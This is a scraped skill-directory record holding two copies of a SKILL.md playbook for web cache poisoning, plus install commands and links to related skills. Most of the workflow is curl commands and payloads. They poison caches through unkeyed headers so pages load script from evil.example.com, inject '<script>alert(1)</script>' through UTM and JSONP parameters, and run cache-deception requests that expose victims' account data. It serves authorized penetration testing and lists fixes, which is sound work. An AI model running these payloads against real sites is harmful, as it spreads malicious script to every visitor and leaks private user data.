[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EQCS2HZT3JKCCGC72Q8E8J":3,"skill-same:01M7EQCS2HZT3JKCCGC72Q8E8J":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":48,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7EQCS2HZT3JKCCGC72Q8E8J","performing-web-cache-poisoning-attack",null,"Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-web-cache-poisoning-attack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-web-cache-poisoning-attack\ndescription: Exploiting web cache mechanisms to serve malicious content to other users\n  by poisoning cached responses through unkeyed headers and parameters during authorized\n  security tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- cache-poisoning\n- web-security\n- cdn\n- burpsuite\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Web Cache Poisoning Attack\n\n## When to Use\n\n- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)\n- When assessing web applications for cache-based vulnerabilities that could affect all users\n- For testing whether unkeyed HTTP headers are reflected in cached responses\n- When evaluating cache key behavior and cache deception vulnerabilities\n- During security assessments of applications with aggressive caching policies\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing\n- **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery\n- **curl**: For manual cache testing with precise header control\n- **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers)\n- **Cache buster**: Unique query parameter to isolate test requests from other users\n- **Caution**: Cache poisoning affects all users; test with cache-busting parameters first\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify the Caching Layer and Behavior\n\nDetermine what caching infrastructure is in use and how the cache key is constructed.\n\n```bash\n# Check cache-related response headers\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)\"\n\n# Common cache indicators:\n# X-Cache: HIT \u002F MISS\n# CF-Cache-Status: HIT \u002F MISS \u002F DYNAMIC (Cloudflare)\n# Age: 120 (seconds since cached)\n# X-Varnish: 12345 67890 (Varnish)\n# Via: 1.1 varnish (Varnish\u002FCDN proxy)\n\n# Determine cache key by testing variations\n# Cache key typically includes: Host + Path + Query string\n\n# Test 1: Same URL, two requests - check if second is cached\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\n# First: MISS, Second: HIT = caching is active\n\n# Test 2: Vary header behavior\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"vary\"\n# Vary: Accept-Encoding means Accept-Encoding is part of cache key\n```\n\n### Step 2: Discover Unkeyed Inputs with Param Miner\n\nUse Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.\n\n```\n# In Burp Suite:\n# 1. Install Param Miner from BApp Store\n# 2. Right-click target request > Extensions > Param Miner > Guess headers\n# 3. Param Miner will test hundreds of HTTP headers\n# 4. Check results in Extender > Extensions > Param Miner > Output\n\n# Common unkeyed headers to test manually:\n# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto\n# X-Original-URL, X-Rewrite-URL\n# X-Host, X-Forwarded-Server\n# Origin, Referer\n# X-Forwarded-For, True-Client-IP\n```\n\n```bash\n# Manual testing for unkeyed header reflection\n# Add cache buster to isolate testing\nCB=\"cachebuster=$(date +%s)\"\n\n# Test X-Forwarded-Host reflection\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"evil.example.com\"\n\n# Test X-Forwarded-Scheme\ncurl -s -H \"X-Forwarded-Scheme: nothttps\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"nothttps\"\n\n# Test X-Original-URL (path override)\ncurl -s -H \"X-Original-URL: \u002Fadmin\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\"\n\n# Test X-Forwarded-Proto\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"http:\u002F\u002F\"\n```\n\n### Step 3: Exploit Unkeyed Header for Cache Poisoning\n\nCraft requests that poison cached responses with malicious content.\n\n```bash\n# Scenario: X-Forwarded-Host reflected in resource URLs\n# Normal response includes: \u003Cscript src=\"https:\u002F\u002Ftarget.example.com\u002Fapp.js\">\n# Poisoned: \u003Cscript src=\"https:\u002F\u002Fevil.example.com\u002Fapp.js\">\n\n# Step 1: Confirm reflection with cache buster\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique123\" | \\\n  grep \"evil.example.com\"\n\n# Step 2: Poison the actual cached page (WITHOUT cache buster)\n# WARNING: This affects all users - only do with explicit authorization\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 3: Verify cache is poisoned\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil.example.com\"\n# If evil.example.com appears, the cache is poisoned\n\n# Attack with X-Forwarded-Proto for HTTP downgrade\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique456\"\n# May cause cached response to include http:\u002F\u002F links, enabling MitM\n\n# Attack with multiple headers\ncurl -s \\\n  -H \"X-Forwarded-Host: evil.example.com\" \\\n  -H \"X-Forwarded-Proto: https\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique789\"\n```\n\n### Step 4: Test Web Cache Deception\n\nTrick the cache into storing authenticated responses for public URLs.\n\n```bash\n# Web Cache Deception attack\n# The cache caches based on file extension (.css, .js, .jpg)\n# If the application ignores path suffixes:\n\n# Step 1: As victim (authenticated), visit:\n# https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Fnonexistent.css\n# If the application returns the profile page (ignoring .css suffix)\n# AND the cache stores it because of .css extension...\n\n# Test application path handling\ncurl -s -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\" | \\\n  grep -i \"email\\|name\\|balance\"\n\n# Step 2: As attacker (unauthenticated), request:\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\"\n# If victim's profile data is returned, cache deception is confirmed\n\n# Test various static extensions\nfor ext in css js jpg png gif ico svg woff woff2 ttf; do\n  echo -n \".$ext: \"\n  curl -s -H \"Authorization: Bearer $TOKEN\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\u002Fx.$ext\"\n  echo\ndone\n\n# Test path confusion patterns\n# \u002Faccount\u002Fsettings%2f..%2fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings\u002F..;\u002Fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings;.css\n```\n\n### Step 5: Test Parameter-Based Cache Poisoning\n\nExploit unkeyed query parameters or parameter parsing differences.\n\n```bash\n# Unkeyed parameter (parameter not in cache key but reflected)\n# Using UTM parameters that are often excluded from cache keys\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F?utm_content=\u003Cscript>alert(1)\u003C\u002Fscript>&cb=$(date +%s)\" | \\\n  grep \"alert\"\n\n# Parameter cloaking via parsing differences\n# Backend sees: callback=evil, Cache key ignores: callback\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fjsonp?callback=alert(1)&cb=$(date +%s)\"\n\n# Fat GET request (body in GET request)\ncurl -s -X GET \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"param=evil_value\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?cb=$(date +%s)\"\n\n# Cache key normalization differences\n# Some caches normalize query string order, some don't\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?a=1&b=2\" # Cached as key1\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?b=2&a=1\" # Same key? Or different?\n\n# Test port-based cache poisoning\ncurl -s -H \"Host: target.example.com:1234\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=$(date +%s)\" | grep \"1234\"\n```\n\n### Step 6: Validate Impact and Clean Up\n\nConfirm the attack impact and ensure poisoned cache entries are cleared.\n\n```bash\n# Verify poisoned cache serves to other users\n# Use a different IP\u002FUser-Agent\u002Fsession to verify\ncurl -s -H \"User-Agent: CacheVerification\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil\"\n\n# Check cache TTL to understand exposure window\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"cache-control\\|max-age\\|s-maxage\"\n# max-age=3600 means poisoned for 1 hour\n\n# Clean up: Force cache refresh\n# Some CDNs allow purging via API\n# Cloudflare: API call to purge cache\n# Varnish: PURGE method\ncurl -s -X PURGE \"https:\u002F\u002Ftarget.example.com\u002F\"\n# Or wait for TTL to expire\n\n# Document the cache poisoning window\n# Start time: when poison request was sent\n# End time: start time + max-age\n# Affected users: all users hitting the cached URL during the window\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses |\n| **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses |\n| **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users |\n| **Cache Deception** | Tricking the cache into storing authenticated\u002Fprivate responses as public content |\n| **Vary Header** | HTTP header specifying which request headers should be included in the cache key |\n| **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing |\n| **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and cache behavior analysis |\n| **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters |\n| **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool |\n| **curl** | Manual HTTP request crafting with precise header control |\n| **Varnishlog** | Varnish cache debugging and log analysis |\n| **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |\n\n## Common Scenarios\n\n### Scenario 1: X-Forwarded-Host Script Injection\nThe application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.\n\n### Scenario 2: Web Cache Deception on Account Page\nA Cloudflare-cached application ignores unknown path segments. Requesting `\u002Faccount\u002Fprofile\u002Flogo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.\n\n### Scenario 3: Parameter-Based XSS via Cache\nUTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `\u003Cscript>` tags via `utm_content` parameter poisons the cache with stored XSS affecting all visitors.\n\n### Scenario 4: CDN Cache Poisoning via Host Header\nMultiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.\n\n## Output Format\n\n```\n## Web Cache Poisoning Finding\n\n**Vulnerability**: Web Cache Poisoning via Unkeyed Header\n**Severity**: High (CVSS 8.6)\n**Location**: X-Forwarded-Host header on all pages\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Cache Configuration\n| Property | Value |\n|----------|-------|\n| CDN\u002FCache | Cloudflare |\n| Cache-Control | max-age=3600, public |\n| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |\n| Affected Pages | All HTML pages (\u002F*.html) |\n\n### Reproduction Steps\n1. Send request with X-Forwarded-Host: evil.example.com\n2. Response includes: \u003Clink href=\"https:\u002F\u002Fevil.example.com\u002Fstyle.css\">\n3. This response is cached by Cloudflare for 3600 seconds\n4. All subsequent visitors receive the poisoned response\n\n### Impact\n- JavaScript execution in all users' browsers (via poisoned script src)\n- Credential theft, session hijacking, defacement\n- Affects estimated 50,000 daily visitors during 1-hour cache window\n- Can be re-poisoned continuously for persistent attack\n\n### Recommendation\n1. Include X-Forwarded-Host and similar headers in the cache key via Vary header\n2. Do not reflect unkeyed headers in response content\n3. Configure the cache to strip unknown headers before forwarding to origin\n4. Use application-level hardcoded base URLs instead of deriving from headers\n5. Implement cache key normalization to prevent key manipulation\n```\n","# Performing Web Cache Poisoning Attack\n\n## When to Use\n\n- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)\n- When assessing web applications for cache-based vulnerabilities that could affect all users\n- For testing whether unkeyed HTTP headers are reflected in cached responses\n- When evaluating cache key behavior and cache deception vulnerabilities\n- During security assessments of applications with aggressive caching policies\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing\n- **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery\n- **curl**: For manual cache testing with precise header control\n- **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers)\n- **Cache buster**: Unique query parameter to isolate test requests from other users\n- **Caution**: Cache poisoning affects all users; test with cache-busting parameters first\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify the Caching Layer and Behavior\n\nDetermine what caching infrastructure is in use and how the cache key is constructed.\n\n```bash\n# Check cache-related response headers\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)\"\n\n# Common cache indicators:\n# X-Cache: HIT \u002F MISS\n# CF-Cache-Status: HIT \u002F MISS \u002F DYNAMIC (Cloudflare)\n# Age: 120 (seconds since cached)\n# X-Varnish: 12345 67890 (Varnish)\n# Via: 1.1 varnish (Varnish\u002FCDN proxy)\n\n# Determine cache key by testing variations\n# Cache key typically includes: Host + Path + Query string\n\n# Test 1: Same URL, two requests - check if second is cached\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\n# First: MISS, Second: HIT = caching is active\n\n# Test 2: Vary header behavior\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"vary\"\n# Vary: Accept-Encoding means Accept-Encoding is part of cache key\n```\n\n### Step 2: Discover Unkeyed Inputs with Param Miner\n\nUse Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.\n\n```\n# In Burp Suite:\n# 1. Install Param Miner from BApp Store\n# 2. Right-click target request > Extensions > Param Miner > Guess headers\n# 3. Param Miner will test hundreds of HTTP headers\n# 4. Check results in Extender > Extensions > Param Miner > Output\n\n# Common unkeyed headers to test manually:\n# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto\n# X-Original-URL, X-Rewrite-URL\n# X-Host, X-Forwarded-Server\n# Origin, Referer\n# X-Forwarded-For, True-Client-IP\n```\n\n```bash\n# Manual testing for unkeyed header reflection\n# Add cache buster to isolate testing\nCB=\"cachebuster=$(date +%s)\"\n\n# Test X-Forwarded-Host reflection\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"evil.example.com\"\n\n# Test X-Forwarded-Scheme\ncurl -s -H \"X-Forwarded-Scheme: nothttps\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"nothttps\"\n\n# Test X-Original-URL (path override)\ncurl -s -H \"X-Original-URL: \u002Fadmin\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\"\n\n# Test X-Forwarded-Proto\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"http:\u002F\u002F\"\n```\n\n### Step 3: Exploit Unkeyed Header for Cache Poisoning\n\nCraft requests that poison cached responses with malicious content.\n\n```bash\n# Scenario: X-Forwarded-Host reflected in resource URLs\n# Normal response includes: \u003Cscript src=\"https:\u002F\u002Ftarget.example.com\u002Fapp.js\">\n# Poisoned: \u003Cscript src=\"https:\u002F\u002Fevil.example.com\u002Fapp.js\">\n\n# Step 1: Confirm reflection with cache buster\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique123\" | \\\n  grep \"evil.example.com\"\n\n# Step 2: Poison the actual cached page (WITHOUT cache buster)\n# WARNING: This affects all users - only do with explicit authorization\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 3: Verify cache is poisoned\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil.example.com\"\n# If evil.example.com appears, the cache is poisoned\n\n# Attack with X-Forwarded-Proto for HTTP downgrade\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique456\"\n# May cause cached response to include http:\u002F\u002F links, enabling MitM\n\n# Attack with multiple headers\ncurl -s \\\n  -H \"X-Forwarded-Host: evil.example.com\" \\\n  -H \"X-Forwarded-Proto: https\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique789\"\n```\n\n### Step 4: Test Web Cache Deception\n\nTrick the cache into storing authenticated responses for public URLs.\n\n```bash\n# Web Cache Deception attack\n# The cache caches based on file extension (.css, .js, .jpg)\n# If the application ignores path suffixes:\n\n# Step 1: As victim (authenticated), visit:\n# https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Fnonexistent.css\n# If the application returns the profile page (ignoring .css suffix)\n# AND the cache stores it because of .css extension...\n\n# Test application path handling\ncurl -s -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\" | \\\n  grep -i \"email\\|name\\|balance\"\n\n# Step 2: As attacker (unauthenticated), request:\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\"\n# If victim's profile data is returned, cache deception is confirmed\n\n# Test various static extensions\nfor ext in css js jpg png gif ico svg woff woff2 ttf; do\n  echo -n \".$ext: \"\n  curl -s -H \"Authorization: Bearer $TOKEN\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\u002Fx.$ext\"\n  echo\ndone\n\n# Test path confusion patterns\n# \u002Faccount\u002Fsettings%2f..%2fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings\u002F..;\u002Fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings;.css\n```\n\n### Step 5: Test Parameter-Based Cache Poisoning\n\nExploit unkeyed query parameters or parameter parsing differences.\n\n```bash\n# Unkeyed parameter (parameter not in cache key but reflected)\n# Using UTM parameters that are often excluded from cache keys\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F?utm_content=\u003Cscript>alert(1)\u003C\u002Fscript>&cb=$(date +%s)\" | \\\n  grep \"alert\"\n\n# Parameter cloaking via parsing differences\n# Backend sees: callback=evil, Cache key ignores: callback\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fjsonp?callback=alert(1)&cb=$(date +%s)\"\n\n# Fat GET request (body in GET request)\ncurl -s -X GET \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"param=evil_value\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?cb=$(date +%s)\"\n\n# Cache key normalization differences\n# Some caches normalize query string order, some don't\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?a=1&b=2\" # Cached as key1\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?b=2&a=1\" # Same key? Or different?\n\n# Test port-based cache poisoning\ncurl -s -H \"Host: target.example.com:1234\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=$(date +%s)\" | grep \"1234\"\n```\n\n### Step 6: Validate Impact and Clean Up\n\nConfirm the attack impact and ensure poisoned cache entries are cleared.\n\n```bash\n# Verify poisoned cache serves to other users\n# Use a different IP\u002FUser-Agent\u002Fsession to verify\ncurl -s -H \"User-Agent: CacheVerification\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil\"\n\n# Check cache TTL to understand exposure window\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"cache-control\\|max-age\\|s-maxage\"\n# max-age=3600 means poisoned for 1 hour\n\n# Clean up: Force cache refresh\n# Some CDNs allow purging via API\n# Cloudflare: API call to purge cache\n# Varnish: PURGE method\ncurl -s -X PURGE \"https:\u002F\u002Ftarget.example.com\u002F\"\n# Or wait for TTL to expire\n\n# Document the cache poisoning window\n# Start time: when poison request was sent\n# End time: start time + max-age\n# Affected users: all users hitting the cached URL during the window\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses |\n| **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses |\n| **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users |\n| **Cache Deception** | Tricking the cache into storing authenticated\u002Fprivate responses as public content |\n| **Vary Header** | HTTP header specifying which request headers should be included in the cache key |\n| **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing |\n| **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and cache behavior analysis |\n| **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters |\n| **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool |\n| **curl** | Manual HTTP request crafting with precise header control |\n| **Varnishlog** | Varnish cache debugging and log analysis |\n| **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |\n\n## Common Scenarios\n\n### Scenario 1: X-Forwarded-Host Script Injection\nThe application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.\n\n### Scenario 2: Web Cache Deception on Account Page\nA Cloudflare-cached application ignores unknown path segments. Requesting `\u002Faccount\u002Fprofile\u002Flogo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.\n\n### Scenario 3: Parameter-Based XSS via Cache\nUTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `\u003Cscript>` tags via `utm_content` parameter poisons the cache with stored XSS affecting all visitors.\n\n### Scenario 4: CDN Cache Poisoning via Host Header\nMultiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.\n\n## Output Format\n\n```\n## Web Cache Poisoning Finding\n\n**Vulnerability**: Web Cache Poisoning via Unkeyed Header\n**Severity**: High (CVSS 8.6)\n**Location**: X-Forwarded-Host header on all pages\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Cache Configuration\n| Property | Value |\n|----------|-------|\n| CDN\u002FCache | Cloudflare |\n| Cache-Control | max-age=3600, public |\n| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |\n| Affected Pages | All HTML pages (\u002F*.html) |\n\n### Reproduction Steps\n1. Send request with X-Forwarded-Host: evil.example.com\n2. Response includes: \u003Clink href=\"https:\u002F\u002Fevil.example.com\u002Fstyle.css\">\n3. This response is cached by Cloudflare for 3600 seconds\n4. All subsequent visitors receive the poisoned response\n\n### Impact\n- JavaScript execution in all users' browsers (via poisoned script src)\n- Credential theft, session hijacking, defacement\n- Affects estimated 50,000 daily visitors during 1-hour cache window\n- Can be re-poisoned continuously for persistent attack\n\n### Recommendation\n1. Include X-Forwarded-Host and similar headers in the cache key via Vary header\n2. Do not reflect unkeyed headers in response content\n3. Configure the cache to strip unknown headers before forwarding to origin\n4. Use application-level hardcoded base URLs instead of deriving from headers\n5. Implement cache key normalization to prevent key manipulation\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":39,"description":7,"mitre_attack":40},[25,26,27,28,29,30],"penetration-testing","cache-poisoning","web-security","cdn","burpsuite","owasp","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[41,42,43,44],"T1190","T1059.007","T1505.003","T1083","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fperforming-web-cache-poisoning-attack",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-web-cache-poisoning-attack",{"tool":59,"command":60},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-web-cache-poisoning-attack",{"tool":62,"command":63},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-web-cache-poisoning-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-web-cache-poisoning-attack\u002FSKILL.md",true,[67],{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",2166,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-web-cache-poisoning-attack\u002Freferences\u002Fapi-reference.md",[74,83,88,95,102,109],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":82},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":84,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":82},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":82},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import 